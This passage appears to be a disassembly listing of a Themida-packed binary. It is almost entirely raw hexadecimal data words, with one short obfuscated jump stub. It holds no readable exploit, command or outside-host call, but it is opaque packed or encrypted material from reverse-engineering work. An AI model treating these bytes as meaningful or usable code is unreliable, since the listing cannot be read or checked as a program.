dd 0F9289542h, 6915838Fh, 0C6781B21h, 0DE0657E5h, 9E42B08Ch
dd 11C18E56h, 0B4377BAAh, 25DFB7Eh, 10C592DAh, 50E6FDA9h
dd 0C5AE3174h, 0C11562FAh, 0C7F64EFAh, 0DAE3F4C1h, 912CAB88h
dd 92F13BB3h, 9EAC9638h, 215h, 0FC4E716Bh, 0B709B41Fh
dd 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h
dd 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0B92D7BDh, 89F0EB58h
dd 8E43C512h, 71687F2Bh, 26B0524Fh, 0AE009830h, 0F2C909D6h
dd 0B4BFEE46h, 0AF2E422h, 48C8C62Bh, 0A450E8D0h, 0A962B44Ch
dd 0B1F9A513h, 0E502E8ABh, 666C3457h, 58060380h, 48F4CB0Dh
dd 0D3022AF0h, 357B274Fh, 58060353h, 17BB885Eh, 308EEF4h
dd 0F41C5806h, 0A535055Ch, 0FB3AFCCh, 0D7CC8EE0h, 0F8D9648Eh
dd 0E070h, 369B6800h, 176D5483h, 2F8C4Ah, 0B225E1F5h, 0BFC7730Bh
dd 2DD9E6F2h, 3C9BA6D5h, 0DC8FD581h, 851F1ECh, 0A5C9C431h
dd 3B4150DFh, 51F29855h, 7AA94169h, 0C54676Fh, 61C18035h
dd 4B7ADCEEh, 4296633Bh, 1AA3307Dh, 0DCE7166Eh, 915C1FAh
dd 0E3ABF39Bh, 0F222F7DDh, 0B4E30B51h, 7405A8AEh, 6B9357E5h
dd 1FCF3D19h, 26ADD1D7h, 0EEBB5DFBh, 22A6D5EAh, 0E02D8C45h
dd 0E42CC4F5h, 0CDFCBF17h, 2BDDFAC7h, 106814A7h, 8E492678h
dd 74A7512Fh, 543E3893h, 0E446h, 7F409C00h, 3A83502Dh
dd 0F4C70BE8h, 0A910C5A2h, 605D7A57h, 0CDE3D50Eh, 8461B30Ah
dd 3D1A6C4Dh, 0F5D2249Bh, 7C88DAE1h, 9408EEF4h, 211C580Bh
dd 0F8C512BAh, 0AE0DC9A6h, 1EB7845Ch, 0E1E7EF9Bh, 51F1E7FBh
dd 204FE70Fh, 894A1739h, 1308834h, 2FDBE0F6h, 0B507B422h
dd 0C40E6BD9h, 57CA9E38h, 0BD5533DFh, 0D921B911h, 44F0C90Ch
dd 0B1B7BDECh, 57EC5740h, 8E96426Ah, 79A817C1h, 153686Eh
dd 5D09B224h, 0C6960E17h, 0BA01D11Eh, 2A61F70Eh, 65AB5D80h
dd 52FEBF18h, 99183A1Eh, 2EC37FE3h, 9C487761h, 0CC0A1544h
dd 16C09DEFh, 24F1F9A5h, 72585EAFh, 86A0E92Eh, 0C21AC65Eh
dd 0AD596075h, 0BA1B2655h, 5CFE53FFh, 0EBD0063Eh, 0A11ABC99h
dd 0B620EDF5h, 81B0E046h, 720A56BEh, 33743h, 0E48E0000h
dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h
dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 696833B8h
dd 89000071h, 8957243Ch, 4C781E7h, 83000000h, 3C8704EFh
dd 34895C24h, 6F76824h, 14890000h, 22C4BE24h, 4E465F32h
dd 2414F756h, 49EE815Eh, 549AB43Ch, 8124148Bh, 4C4h, 0F0895000h
dd 242C8150h, 10033B9Ch, 8108428Fh, 3B9C0842h, 0FF581003h
dd 815A2434h, 4C4h, 24348B00h, 81E38953h, 4C3h, 4C38100h
dd 87000000h, 0E95C241Ch, 0FFFAD013h, 998D13E0h
db 10h, 9Bh, 16h
; ---------------------------------------------------------------------------
loc_5A39F3: ; CODE XREF: Themida_:005A2C7Cj
mov eax, 619AD93h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 1A911019h, 455707E3h, 11A16765h, 1C09F2BAh, 55A9BA9Dh
dd 9ED30C0h, 10148AF3h, 2539F6C4h, 2E325653h, 0AF6DC8Eh
dd 187EBF9Ch, 660DD15Ch, 764A2EE3h, 3F8B7C7Eh, 5A53B84Bh
dd 5894F75h, 23CD90E8h, 7615E918h, 380EA425h, 7D4AF078h
dd 3E0FBE1Fh, 36FE281Eh, 59B6D704h, 38508E4Bh, 6B84112Bh
dd 38FED37h, 2A79AED0h, 181E9h, 2BED0700h, 9D692C03h, 614DFA85h
dd 0BC59844Dh, 0B757A10Ah, 0B457B553h, 0BF59350Ah, 9470CC53h
dd 0C625273Ah, 3D71D853h, 39C504D1h, 81B7A89Dh, 0F014C552h
dd 12853h, 0
dd 400h, 2 dup(0)
dd 2F00h, 0
dd 800h, 0
dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 45h dup(0)
dd 0FBE90000h, 68000016h, 619B225h, 0FB96A9E9h, 0B32C68FFh
dd 9FE90619h, 68FFFB96h, 619B40Fh, 0FB9695E9h, 0B4D268FFh
dd 8BE90619h, 68FFFB96h, 619B679h, 0FB9681E9h, 0B80968FFh
dd 77E90619h, 68FFFB96h, 619B8CCh, 0FB966DE9h, 0B99168FFh
dd 63E90619h, 68FFFB96h, 619BBCEh, 0FB9659E9h, 0BCA068FFh
dd 4FE90619h, 68FFFB96h, 619BD3Eh, 0FB9645E9h, 0BDBB68FFh
dd 3BE90619h, 68FFFB96h, 619BF69h, 0FB9631E9h, 0C4CA68FFh
dd 27E90619h, 68FFFB96h, 619C5B5h, 0FB961DE9h, 0E98983FFh
dd 6CFE0418h, 0F179879Bh, 73F50C20h, 0FA788EA2h, 82EF1429h
dd 91DEE84h, 91A576FAh, 172BFC74h, 4DAF80E8h, 0A9D86C08h
dd 0F5533046h, 4226D9A5h, 0AEBA4589h, 49F109DDh, 0C490F2FDh
dd 0FA8E2ABFh, 752A2DE0h, 0FFC253E4h, 11117A63h, 22C7FF34h
dd 0FFB7E5F9h, 4FDB9425h, 304120B7h, 0F9B2B649h, 0A573D611h
dd 68FC6B8Eh, 1D1CD59Bh, 5BADBDB9h, 4DF071F5h, 406FA7BBh
dd 48h, 8B27AA42h, 2A2CF9F7h, 0A4A8E172h, 45C88B8Ch, 0F99226C2h
dd 7C0D2A2Ch, 207EB743h, 40033410h, 411410A4h, 69FA8B30h
dd 17B452A6h, 3BEA41A7h, 0D710A1FDh, 0AE4AE26Eh, 0B81E3041h
dd 0D110B3BEh, 5036FA7h, 5000001h, 7F4226D9h, 0DA93D72Bh
dd 0B3F76099h, 22661F53h, 8ED28BDDh, 47305071h, 0E4FFEEE1h
dd 0C73C9053h, 76AFF0A9h, 10BAB2F5h, 6C4ABDD8h, 98EB77B0h
dd 712A2C9Dh, 1679AEEh, 2D959125h, 427B0C2Ah, 966701FEh
dd 32EB7D82h, 0D8986BBFh, 95E57915h, 0D7682A2Dh, 81829A9Eh
dd 1B433BBEh, 0C181E627h, 0E5B6427Bh, 483410E4h, 0D89529C5h
dd 87183041h, 0D89428C4h, 86173041h, 0A669FA4Dh, 3733CF23h
dd 0CD613D7Eh, 503041D8h, 310586BFh, 0B9551819h, 3A289057h
dd 25619AAh, 57AB6E04h, 0C708C1A9h, 659ED233h, 3C36D0E4h
dd 0BA069473h, 2472EDE0h, 1449h, 93640EFEh, 16E7837Fh
dd 9B6CFE02h, 1DEE7A87h, 0A475FD09h, 9FD6A8Fh, 7F849869h
dd 0F90C20F1h, 6D92A677h, 83C82AFBh, 46AB53E7h, 2878D630h
dd 379E2DD9h, 0C81C5EECh, 0AABE8F20h, 58501355h, 0CE29DB68h
dd 48E79DBDh, 62F7FAAEh, 0C91798D1h, 3D000119h, 0D39D66BAh
dd 14A0D91Ah, 34101FDBh, 97D92A7Eh, 11649DDEh, 0D154C780h
dd 141EB24Eh, 10A13041h, 4113A034h, 518A1B30h, 41142DC5h
dd 0DB9B0130h, 0A736F396h, 0BBE66Fh, 0D9E80000h, 45894226h
dd 6CF8B1C1h, 2A2C0619h, 4669CF0h, 8C760A4Bh, 0ABE425DEh
dd 0FFD09867h, 9B5414EBh, 3C2ED428h, 5094283h, 0A629ECEDh
dd 2CFD760Ah, 2F68F92Ah, 0AE4139BCh, 0C1E33DEBh, 0C3942059h
dd 0A6341111h, 0EF8BB352h, 3041E15Bh, 83BC4DDEh, 0FACE9F30h
dd 821EE1E2h, 3A289E11h, 4D23E034h, 6D30C114h, 0B485ED19h
dd 430C66A0h, 0E0BA32FAh, 421A68E3h, 5000013h, 869A6B07h
dd 91DEE7Ch, 8EA273F7h, 1024F573h, 96AB7CF6h, 70020461h
dd 0F8788B9Fh, 7EF21327h, 26699ADh, 0EE8ACF31h, 3046AC5Ah
dd 0D92777D5h, 6074452Dh, 0B5F8C99Fh, 0BDCC16BDh, 0F48DBF2h
dd 0AD56AA91h, 0D06400C3h, 4B2A2CF9h, 0C23D81BAh, 827AEDA6h
dd 93716D24h, 0EC306943h, 36CF2313h, 6CCA5E3Ah, 0AC542A2Dh
dd 528A1BBEh, 1069A79Ch, 0A8790A0Ah, 45FE6C94h, 1FB34FD2h
dd 9A2A2D34h, 738CD009h, 8DE124F5h, 0FA3BF474h, 14CD9B66h
dd 0C7419AD3h, 0DB9E9FB7h, 10597E3Fh, 9A720334h, 0BA56B34Ch
dd 6C6D8529h, 38480DA9h, 0B44525AEh, 0DEDFF7FBh, 0AD3C7F1Bh
dd 0A2252B9Dh, 0ACEF831Fh, 0D96A1BCAh, 0CAAC69FDh, 1A53E41Bh
dd 1F7336C7h, 0A3B788E0h, 0F0430C5Ch, 0B91125DDh, 125FF03Eh
dd 24E80000h, 99697D4Eh, 14EC00D1h, 90718556h, 13F307D8h
dd 44798E5Fh, 82531FE7h, 0ADB956Eh, 90610FF6h, 14E5837Ch
dd 3DD16DB2h, 0C03046AEh, 27AA1262h, 633F33D3h, 2A2CF9CFh
dd 3C80B94Ah, 0E8ECA5C3h, 700CCFD0h, 34100BA3h, 9BCD3286h
dd 0AD7E0F62h, 49026699h, 692C2D45h, 2ABAE3CDh, 6D92263Ah
dd 5E01B354h, 4958927h, 0A35CB073h, 2EB1F4C5h, 3AB6FE92h
dd 0B7F0812Ah, 23DC8C73h, 4306071Fh, 24699DA7h, 0D0932434h
dd 0D0B73DD8h, 6AA37F89h, 0C5CA3F7h, 90D8273Bh, 0F01064D7h
dd 4780C17Ah, 672A2B43h, 20B448E4h, 0A6373041h, 0B15EFA6Dh
dd 0DC3A2435h, 40C5824Bh, 8702E0B8h, 119C39h, 1161AB00h
dd 94D62C40h, 1951AFC3h, 9BCD3448h, 2250B6CAh, 0AA873C51h
dd 3145165Ch, 0B9CD9ED2h, 3F53244Ch, 75D7A8C0h, 0AE009430h
dd 1D7B3046h, 452DD9CDh, 8788A074h, 1E8F28C4h, 6FF23410h
dd 41133FD3h, 0F029BA30h, 0F530C9Dh, 93A778F0h, 9A2ECA6Ch
dd 15304112h, 0AF93E4DDh, 0DF7062F6h, 0B3938B4Eh, 0D1B5DE16h
dd 0FBF22A60h, 60F17907h, 0A2BABE27h, 4DE6DEA1h, 5DF18D26h
dd 0E0304117h, 3EFB174Fh, 0E39CCE32h, 65D811A2h, 24760CC9h
dd 0D149813Ah, 0DA22A4BAh, 4A036F97h, 2EE77809h, 9C551BEAh
dd 7C0AA58h, 863040C3h, 2CA4B6B0h, 0F8075016h, 0B3CB9F70h
dd 0E96CEFB2h, 2DC5B94Dh, 0ADBD432Ah, 7F10B3F4h, 995216EBh
dd 0FA931F58h, 5F3410EAh, 0CEAC40DCh, 730F3041h, 3041CEDFh
dd 9526C95Ah, 0BF78095Ch, 2BE4847Bh, 6D3A3C90h, 0F5915455h
dd 3A24F35Ch, 0B5B54DE1h, 592ABBFCh, 2F41C216h, 4A03679Bh
dd 738CD009h, 0D1C93CF5h, 51CDF43Eh, 692CBB5h, 2A2CF66Eh
dd 0D285E145h, 0F5783B2Dh, 2DF6C559h, 2BA6B32Ah, 0A6B68C59h
dd 0B8397203h, 0F90A5BA4h, 2B23E677h, 3BAD85E2h, 0FF68A14Ch
dd 0ABFD948Ch, 0C6B94E88h, 7071898Dh, 0D06C11ADh, 80113410h
dd 0DF9F86AFh, 6703C6C7h, 3A2B7785h, 8D936BFCh, 0B440F979h
dd 2A3A5F1Ch, 12D5D6EEh, 24117476h, 8346D734h, 0E099D12Fh
dd 0B2DDDFF8h, 0C2536ED9h, 3DC21689h, 0B9465A2Bh, 2F83F6AFh
dd 9CDD96D2h, 8BE71F63h, 0ACCA1FC2h, 7BC944E6h, 0FF5h
dd 0E7B8BA52h, 6A3B2FD3h, 0EFC0AA56h, 714226DBh, 0F8C9A95Dh
dd 0B5513EE3h, 2BD8ECBDh, 0A5607445h, 19E6FACBh, 0D71C7E4Fh
dd 46AFA73Bh, 74C42230h, 9B9E2DD9h, 3736FA98h, 0EDD2C6FEh
dd 0A7FD35A3h, 0AE024516h, 0B347E353h, 362A2CFEh, 97DB14A5h
dd 0E93D0068h, 579B541Ch, 0C90AC3AFh, 2396FF38h, 0FC86392Bh
dd 3A735A89h, 0A65F09F6h, 342343A7h, 89CC9DCBh, 9F5CC35h
dd 29463CF2h, 2B6C25B6h, 7515B8F2h, 8B086993h, 0A000001h
dd 0C0AA56AAh, 498DC607h, 1B57AFB6h, 0D7902162h, 2BFC6C93h
dd 7B3E3F57h, 1029F6DFh, 31EA7B34h, 412A0DA5h, 199CE130h
dd 4129E97Dh, 9AD36430h, 45C86006h, 412A15A9h, 0CE079830h
dd 0A748F194h, 4BE46Fh, 0F9F10000h, 1DAFCADCh, 481DF023h
dd 0E9CD0F70h, 0AAA11F58h, 84BDAB56h, 0A4676880h, 84BDB350h
dd 203C7511h, 0B0413410h, 36799EDh, 67D0094Ah, 0D63A0F4h
dd 13B048D4h, 1E843041h, 36761958h, 0C0696FA7h, 76000000h
dd 568FE122h, 4226D9D8h, 0B1C14589h, 0D23185F8h, 6BA4E59Eh
dd 0CD90D827h, 28E18979h, 145AEE7h, 3D996AFEh, 2A2C05EAh
dd 14D7916Eh, 0EF2741C0h, 38D5AEA2h, 0B8397220h, 0C256F275h
dd 3D2A2D8Dh, 576F73ACh, 0F79356h, 8934144Ah, 25E135F8h
dd 0B6397C4Dh, 10C99F62h, 195FF3CFh, 49DA3043h, 1956EA86h
dd 48D93043h, 373BCB0Fh, 0AE4EE56Eh, 0F947C2E6h, 0E65h
dd 77482AE2h
dd 0FACB9F63h, 7F501AE6h, 1D2966Bh, 885919EDh, 25E14E73h
dd 9B687C4Dh, 15F004D5h, 89768A5Bh, 67AC0EDFh, 46B237CBh
dd 454B230h, 570B2AAh, 0ACFC8E1Dh, 98D72F73h, 94A036Dh
dd 6C93A778h, 0D9DD2BFCh, 45894226h, 0F56ABBAh, 7CBD76F2h
dd 0F88C28EBh, 732A2CF9h, 6C8051E2h, 181CD593h, 0E83CFF00h
dd 5697501Ah, 0AD0EAA1Dh, 0E0341013h, 0B0607E4Fh, 9B000007h
dd 51B0BF47h, 8C1D5E17h, 2DD9D553h, 0D22E8245h, 659EDF98h
dd 0F9D870FCh, 92AA2A2Ch, 3832CE91h, 0BB3416ACh, 61E4672Ah
dd 46A831C5h, 0E21BAC30h, 3607619Eh, 0D28BDD22h, 31FA788Eh
dd 0E6A1C09Ah, 0A22674EFh, 0A500000Dh, 263A0B67h, 0A9BD8EDCh
dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh
dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046B1FAh, 0D9C71775h
dd 2E82452Dh, 9BDC95D3h, 32CDE162h, 0C6397D36h, 86EAE9A2h
dd 0E08877E0h, 0F87B251Dh, 1E5614EEh, 84BDC37Fh, 1756F903h
dd 20496994h, 4B000000h, 0BA89B2AAh, 0F2A88A3Ch, 0B6C917BAh
dd 0F0295CD3h, 2C723F64h, 0B6BA492Ah, 0FDBA8725h, 0AAB7FFFFh
dd 0FFC2B056h, 2CF9CF63h, 80B94A2Ah, 2CF95CF4h, 15162E2Ah
dd 8A7BCF52h, 0B3EC2DE6h, 16AC3527h, 581BAC34h, 1DADDDD5h
dd 183A2068h, 4649BDFh, 88E01F33h, 0F77B8BCFh, 0A10E892Eh
dd 2D7BF6E6h, 0CDDh, 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h
dd 10E19175h, 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h
dd 0EF349667h, 46B2BF53h, 8CDC3A30h, 0C73F26D9h, 1D611AABh
dd 0CECD86E2h, 0D82C0C6Ah, 0E32A9E2Bh, 0C8224E6Bh, 7A3D7E37h
dd 2D1E4ADEh, 0FB34C52Ah, 4F2048B7h, 0A7C0140Ch, 7EFE24D1h
dd 24680B45h, 0D5B6993h, 5D000000h, 2C106C91h, 0FD85232Ah
dd 0B5FFFFFCh, 3D000119h, 185119E9h, 17BC09A5h, 20B13410h
dd 0C42DB67h, 0B2183041h, 2A0AADB4h, 0F5FD6FA7h, 0A000001h
dd 0F99B8C12h, 0FF3842C2h, 0FA299181h, 0EC5E2A2Ch, 0AE7FE916h
dd 4A03659Ah, 0EE8283D7h, 0F97929B5h, 1172A2Ch, 580DF265h
dd 9306BFA9h, 2CF963F7h, 0C455E62Ah, 0F9D16501h, 0BB4C2A2Ch
dd 6785592Ah, 8E71B56Eh, 72C609DAh, 5CA0D98Fh, 0AE02C5A3h
dd 775F1852h, 74A8B07h, 639C2D24h, 53C66EFAh, 0D51A2A2Dh
dd 5422B652h, 0D4082A2Dh, 10D39505h, 0CE32C669h, 3ED20B9Ch
dd 4E963938h, 71896993h, 8B000001h, 0C03F26D9h, 1AAEEFA8h
dd 31F485EBh, 0F97E12AEh, 70012A2Ch, 758ACE37h, 0E7DF22F3h
dd 0CF6C5629h, 0C104935h, 9430F3F4h, 341096ABh, 0F8843DCEh
dd 30415560h, 0C9A8CE34h, 6FA77426h, 2719h, 1191B00h, 68A13D00h
dd 0ED341020h, 0DC30A35Ch, 4F904927h, 13F28A16h, 60C63041h
dd 36B85B06h, 0F4AB6FA7h, 0AD000000h, 7F4226D9h, 2ACB04FCh
dd 5678E696h, 2D26E67Ah, 0E58B782Ah, 7679B142h, 29D315B1h
dd 83C73069h, 5015EC83h, 0BEFFB8B2h, 85D99C2Dh, 0F438F181h
dd 91CA5B0Dh, 0DCBDB528h, 484B7743h, 560F61A2h, 74B8415h
dd 44B770F8h, 86B9804Ch, 2D0656EAh, 1048D92Ah, 0C4FD9623h
dd 20E67F80h, 0C7589952h, 0DECF9AF6h, 3EC12A2Ch, 0D5BA4F8h
dd 2DCE9D31h, 0FE8F202Ah, 6A96EA2Dh, 1464C800h, 1D2DAF25h
dd 0C7C8E0E4h, 62FE8104h, 2A2D5FCEh, 0FB87C051h, 34141C04h
dd 0DD31F485h, 4DB34723h, 1D71E41Dh, 0A4B889E9h, 79F90D62h
dd 0BC901FE8h, 9611E6AEh, 0AA048h, 0D65A700h, 90DA283Ch
dd 1555ABBFh, 97D13044h, 1E54B2C6h, 0A683384Dh, 2D411260h
dd 0B5C99AD6h, 3B4F2050h, 71D3A4C4h, 0B4FC902Ch, 217F3046h
dd 452DD9D1h, 9AD82E82h, 33CCE061h, 0D9166435h, 45894226h
dd 0AA9607BAh, 0E1E8DBD9h, 14617F50h, 91000004h, 0C6DEA0C4h
dd 836602C5h, 63416ACh, 0BFD79D75h, 942545BBh, 0C89435D1h
dd 0C1F93A29h, 0A8D67807h, 0CA831450h, 3A6DA63Eh, 0A2C8382Ah
dd 0C5CA5E9h, 76F05453h, 6D8216B2h, 6CFD2A3Ah, 4C4489DBh
dd 0E9E64E2Bh, 4C26E06Ch, 88C15293h, 4CEF72F4h, 3F69A070h
dd 373h, 0A956AA41h, 62FA86BFh, 0AC2A2CF9h, 2A2CFA1Dh
dd 0FFC2C3DBh, 10204E63h, 713ACB34h, 0E6AC7738h, 0CE1C6AE5h
dd 79000009h, 0FA0EDF93h, 7D916208h, 216E783h, 849869FFh
dd 0A1FF082h, 0E48E78D5h, 6C04FF13h, 0F27E879Bh, 76F20D21h
dd 62FE43A5h, 3046B5CEh, 0D9A3F351h, 85894226h, 26A96C6Dh
dd 0F97307A3h, 33F62A2Ch, 2CFA0397h, 64F5862Ah, 0AC419F2Bh
dd 0B7483416h, 761A0F4h, 61794DCEh, 11CAA65Dh, 0E07C3FD0h
dd 3A305986h, 0E539FC8Dh, 2581521Eh, 2A2C06B5h, 95717587h
dd 677B4CDDh, 0D71BD49Ch, 297D4028h, 9ADB94DCh, 0DCF4F861h
dd 2B7C18DBh, 1E341006h, 6FC1C48Dh, 0F8AE6ACh, 930C1h
dd 7DF51700h, 6A98ACh, 85E51B2Fh, 761A0B4h, 8EE42236h
dd 1673A8BDh, 9DB182F0h, 25390A66h, 0ABBF90E0h, 0E1431454h
dd 0B66C009Ch, 91EF3046h, 11941h, 0AC47A13Dh, 39CA3416h
dd 8FE12276h, 0DF8978CCh, 0F21125A6h, 132680D7h, 1FB08776h
dd 494A6266h, 6A8CEA86h, 0EE7F3A30h, 18193135h, 877ED255h
dd 3324B0E9h, 9634103Bh, 70A9BF42h, 0D6C38C1Dh, 0CFE6AC4Ch
dd 8B30654h, 78940000h, 0ED1529FAh, 6898AC7Dh, 0E41D3102h
dd 679FB384h, 0F0253A0Bh, 2EFF7393h, 0B687E91Ah, 3C0D63A2h
dd 0C091D728h, 0E97D195Eh, 643046B6h, 56AAB606h, 468AC3ADh
dd 0A9B208B9h, 82B208C3h, 0BF438F1h, 1A78CFB6h, 0E44F87E9h
dd 0F4AD3EA4h, 82D591F5h, 0D428EB7Dh, 83043D2Bh, 581AEC40h
dd 0B542E51Fh, 0C8356993h, 42000001h, 215A18EEh, 0AD56AAA3h
dd 90C90AC3h, 0B073748Ch, 1004B314h, 8C45D634h, 0B6312119h
dd 4AC9D204h, 0EAED8511h, 7CC13041h, 0EAC95DF9h, 88243041h
dd 3041EAF4h, 0B243E677h, 0EABF53EFh, 0A93A3041h, 0D79ADC70h
dd 6FA80934h, 17A27h, 26D92900h, 1E168942h, 79311164h
dd 76BAF388h, 3A0EDF89h, 89E71E22h, 0B09935F8h, 0D534105Bh
dd 67FF8B44h, 0F93040FAh, 69AD660Ah, 0D417D098h, 92E476F0h
dd 84274A2Ch, 776FA719h, 4Ah, 11979h, 0AA19E93Dh, 0CCDA3C1Bh
dd 265FF0AFh, 26DE17B3h, 12A33410h, 1735CD59h, 3AC73041h
dd 0CE31752Eh, 7EE2E19Ah, 0DB2072F8h, 0B7F07887h, 7B1E4323h
dd 6E6FA739h, 0D0h, 5FA4F87Bh, 0AA13511h, 8B1C3041h, 26D9D452h
dd 0C1458942h, 285F8B1h, 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh
dd 431454ABh, 48A50800h, 403CD8E8h, 92187B07h, 0CE512A2Ch
dd 2D619E32h, 5790212Ah, 524AEC13h, 0F7F9E98Ch, 0CD613D0Eh
dd 502A2D9Dh, 895D2EBFh, 59AD7071h, 1588C1A9h, 145A8279h
dd 0B3760734h, 0FACBA75Fh, 0CA9E63B7h, 0B9B94D91h, 0AE7D99F0h
dd 418F0AE6h, 705h, 0D7A8CA42h, 5A2B3FC3h, 0DFB0BA46h
dd 613236CBh, 0E8B9B94Dh, 0C5412ED3h, 3BC8DCADh, 0B5506435h
dd 29D6EABBh, 0C70C6E3Fh, 46B8972Bh, 64B41230h, 97FFB2AAh
dd 0CA13A743h, 5962A2Dh, 3CBADECDh, 2B47BF03h, 0F894175Ah
dd 2A2DEB64h, 0D91D56E7h, 23714226h, 0D79B26D9h, 0C6A45EEFh
dd 20D4FC8Eh, 8778CC8Fh, 0CC3FA8E1h, 0BB19AD49h, 3942A2Dh
dd 0BB10A440h, 0FA8B2A2Dh, 0E6827DC1h, 49F715h, 0C4270000h
dd 0B44CA06Fh, 4CB9FDB6h, 992A6B24h, 43445C60h, 0AB88E480h
dd 0F2833416h, 7091E51Ah, 5C66BFF8h
dd 0C7A35FB3h, 9094CD0Eh, 0BCB47778h, 6997BFFEh, 279AD30Eh
dd 30642E8Bh, 724ADB3Ah, 5018E93Dh, 5FC917h, 0AAF90000h
dd 9C2B056h, 738B8FC8h, 6E13AF72h, 0B341007h, 9D63B77Ah
dd 9F2B94CDh, 3040EC00h, 0C982E818h, 17EF7E85h, 0D061A25Bh
dd 9DD9EF17h, 294D23CDh, 0A265667Eh, 0FBF46106h, 5EA8FC2Dh
dd 0E8B246E2h, 9C2D2A2Ch, 706A520Bh, 0D986BDC8h, 0D72A63F4h
dd 0D62F8346h, 0C2E0619Ah, 9Eh, 119F2h, 0ACBFA13Dh, 0B1423416h
dd 121BA7D0h, 8629482Eh, 796FACCAh, 76h, 1197Bh, 0ACBEA13Dh
dd 0B2433416h, 241AA8D1h, 93D790E2h, 0E943FC6Ch, 62075313h
dd 0D679F87Eh, 0C96FACCAh, 4Eh, 0FD0119CBh, 13D66703h
dd 0A6C43C90h, 3CD0ACEDh, 0BF2A2CFAh, 0E682F52Eh, 3416AB8Ah
dd 3931F485h, 5AB73014h, 0A9BD402h, 0DB8F73C7h, 4FA8E122h
dd 3337CB73h, 0A1CF367Ah, 0E185E9E8h, 50E18F76h, 0C2AFC7ABh
dd 6FAC4A1Fh, 0D12h, 4C911400h, 432A2C1Dh, 0FFFF06A5h
dd 27AAD5FFh, 2CF9F78Bh, 0A8E1722Ah, 0C88B8CA4h, 16AC1E2Ch
dd 1C756D34h, 7A546794h, 0FA3285BEh, 6B289C65h, 4B1DE2ADh
dd 6C7029BAh, 0D905354h, 53DD4015h, 2E671A55h, 2FEE45A2h
dd 0FEB7483Ah, 1EE1E2FAh, 17987882h, 0A76AFB34h, 3B35D024h
dd 99C0C603h, 8417FFBh, 692C3EC4h, 0D5CCA671h, 0DD294EFEh
dd 0A5410495h, 30464011h, 41C2FB8Ch, 9154556Dh, 2FF19BF5h
dd 4A0D9E3Ah, 0E1972BC7h, 81122A2Dh, 8481D548h, 5ABF1BECh
dd 7FC20495h, 0CA9AC787h, 43BFC05Ah, 9C2D6E27h, 88E01F63h
dd 0C5CA3B7h, 36374F53h, 0C054F073h, 4AC253D9h, 0BBFCB5BBh
dd 0DB4E8718h, 70020458h, 0FEEAB37h, 433BCC37h, 20B1C7DEh
dd 0E619AC1h, 0A79CC47Dh, 0FAF48824h, 0E677C85Eh, 0A5D19ADh
dd 8EA273F5h, 0FC40F977h, 68AB6406h, 9075E284h, 0FE9A1DE0h
dd 0C85EFA6Ah, 0F59154E5h, 0C85EFA61h, 91124BDCh, 2FE8887Dh
dd 4066EED6h, 9CD43126h, 197DCBh, 0FB044801h, 0B387E2C6h
dd 68F9FE7Fh, 31986BAFh, 3014A741h, 0BE770871h, 2EE7897Ah
dd 0E176F006h, 0D2BD4E22h, 4840F87Eh, 0B4A2FBCFh, 0EBEF28FCh
dd 654E2CD2h, 79F8BF07h, 0FC0317E8h, 52B1A96Ch, 0C5CA5EAh
dd 5CC14CD4h, 5A699223h, 934C1EE4h, 0BEF08420h, 0DA6B2A2Dh
dd 53AFC046h, 0CECD8617h, 0D5E0C6Ah, 659ACDA9h, 0DD252B03h
dd 39F2788Ah, 22AE67F8h, 2A2DBE8Eh, 1740263Ch, 9AAE7FEBh
dd 0C04C056Bh, 2A2DBF27h, 3CC5199Ch, 0F932732Ch, 0AF560165h
dd 0C394F0C1h, 0D52A2CDEh, 46874030h, 0FD892BB5h, 537A6993h
dd 7CFFFFFFh, 0F78B27AAh, 722A2CF9h, 0B4B44DE1h, 0A0C8377Bh
dd 0C8388CCFh, 4E2803FBh, 0A7386B04h, 0EA75ADEEh, 799E99B6h
dd 0E8175B94h, 271EB24Eh, 10A12A2Dh, 9768BC7Fh, 266F039Fh
dd 59EA2A2Dh, 0EAFE8FC8h, 6B725315h, 0B7481F57h, 3ADDD9B1h
dd 2D699349h, 4Eh, 1192Fh, 0AC44A13Dh, 0B8493416h, 2915AED7h
dd 94D891D9h, 0ED470072h, 840B5F17h, 0A4C43D91h, 0DD71AAEBh
dd 0F5F60E99h, 5A399632h, 31B43A30h, 2CFA0195h, 57EB7C2Ah
dd 388BC4ACh, 179ACFA7h, 2CF9E77Bh, 98D1622Ah, 374Ah, 1197A00h
dd 17E93D00h, 49D91B53h, 1C9BDCBCh, 77D470E3h, 1234177Fh
dd 9B6ABE81h, 0E20B9CD5h, 0C4A238DEh, 0F7BABBD3h, 540D5DA3h
dd 0CB67DA13h, 3A30296Eh, 72B28A1Bh, 289B26D9h, 5A646BC0h
dd 198C45D6h, 60FC3AC5h, 2A2D5BCCh, 0F42DBE4Fh, 48194FB0h
dd 985B5C74h, 108C13FCh, 22E57634h, 3937CEh, 4B730B97h
dd 0E1473041h, 6A39DC85h, 0EEE66FA7h, 0E97B5DEh, 0C2EF2852h
dd 44h, 0E78B7BCFh, 0B2AA30AEh, 3BF9794Ch, 0C4C8015Dh
dd 4CE8ABACh, 34107213h, 800CC556h, 304141E8h, 28E1877Ah
dd 0B9A71CE4h, 9C247C61h, 86CA8314h, 6E44EE7Ch, 0AA106208h
dd 0BE02A5CCh, 0BEF56FA7h, 0F7000000h, 894226D9h, 0F8B1C145h
dd 9CD43185h, 88E01F63h, 0F1748BCFh, 5FA05911h, 0C2BAFDCEh
dd 0F7FE8C6Fh, 800C459Dh, 2A2CDB2Dh, 0DBACBC43h, 0B1BF4498h
dd 9DCB3478h, 0C7C8E0E4h, 0FB0F6804h, 81123410h, 4EEA6DB0h
dd 3041DABAh, 676BA435h, 378B4E4Fh, 0A4E59ECAh, 635CF86Bh
dd 0A63A2892h, 8FE5215h, 3DCE9A67h, 0F142827Ah, 0D6206453h
dd 0FE081C9Dh, 3BCAAB74h, 48C3E0BAh, 1A4FAh, 969A300h
dd 8CDE2438h, 1159A7BBh, 93D52C40h, 1A58AEC2h, 0A28F3449h
